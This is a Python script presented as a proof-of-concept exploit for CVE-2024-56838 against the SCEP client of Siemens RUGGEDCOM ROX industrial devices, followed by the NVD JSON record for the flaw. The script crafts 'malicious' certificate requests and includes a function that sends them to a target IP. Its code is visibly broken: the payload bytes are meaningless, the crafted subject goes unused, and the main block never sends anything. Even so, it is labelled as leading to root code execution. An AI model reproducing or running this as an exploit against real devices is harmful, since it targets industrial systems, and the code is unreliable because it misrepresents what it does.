CVE-2024-56838

#!/usr/bin/env python3 """ CVE-2024-56838 PoC - Siemens RUGGEDCOM ROX SCEP Client Validation Bypass Note: This is a conceptual demonstration for authorized security testing only """ import struct import hashlib def create_malicious_scep_request(): """ Create a malicious SCEP request targeting the validation bypass """ # SCEP message type: PKCSReq (19) msg_type = 19 # Craft malicious certificate request with invalid fields # that bypass validation in vulnerable versions malicious_payload = b'\x30\x82' # Target: SCEP client on RUGGEDCOM ROX devices # Attack vector: Malformed field injection in PKCS#10 request scep_request = { 'transaction_id': 'MALICIOUS_TXN_' + 'A' * 100, 'message_type': msg_type, 'pki_status': 0, 'fail_info': 0, 'sender_nonce': b'\x00' * 16, 'receiver_nonce': b'\x00' * 16, 'cert_req': create_malformed_cert_request() } return scep_request def create_malformed_cert_request(): """ Create a PKCS#10 certificate request with fields that bypass validation """ # Malformed subject field that triggers the vulnerability subject = b'CN=' + b'\x00' * 50 + b'injected_payload' # Craft the request structure cert_request = bytearray() # Add malicious extensions that bypass validation for i in range(20): cert_request.extend(b'\x30\x82\x01\x01') return bytes(cert_request) def send_scep_request(target_ip, target_port=443): """ Send the malicious SCEP request to target device """ import socket try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(30) sock.connect((target_ip, target_port)) # Send malicious SCEP message payload = create_malformed_cert_request() sock.send(payload) response = sock.recv(4096) sock.close() return response except Exception as e: return f"Error: {e}" if __name__ == '__main__': print("CVE-2024-56838 PoC - For authorized testing only") print("Target: Siemens RUGGEDCOM ROX SCEP Client") print("Vulnerability: Field validation bypass leading to RCE as root")

{"cve": {"id": "CVE-2024-56838", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:17:29.120", "lastModified": "2026-01-13T10:15:57.100", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been identified in RUGGEDCOM ROX MX5000 (All versions < V2.17.0), RUGGEDCOM ROX MX5000RE (All versions < V2.17.0), RUGGEDCOM ROX RX1400 (All versions < V2.17.0), RUGGEDCOM ROX RX1500 (All versions < V2.17.0), RUGGEDCOM ROX RX1501 (All versions < V2.17.0), RUGGEDCOM ROX RX1510 (All versions < V2.17.0), RUGGEDCOM ROX RX1511 (All versions < V2.17.0), RUGGEDCOM ROX RX1512 (All versions < V2.17.0), RUGGEDCOM ROX RX1524 (All versions < V2.17.0), RUGGEDCOM ROX RX1536 (All versions < V2.17.0), RUGGEDCOM ROX RX5000 (All versions < V2.17.0). The SCEP client available in the affected device for secure certificate enrollment lacks validation of multiple fields. An attacker could leverage this scenario to execute arbitrary code as root user."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:siemens:ruggedcom_rox_ii_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.17.0", "matchCriteriaId": "FA424C03-CB17-4397-A09E-E02A78F8176C"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:siemens:ruggedcom_rox_ii:-:*:*:*:*:*:*:*", "matchCriteriaId": "1EA04F52-40D0-4A4B-9767-265A26EFD98D"}]}]}], "references": [{"url": "https://cert-portal.siemens.com/productcert/html/ssa-912274.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}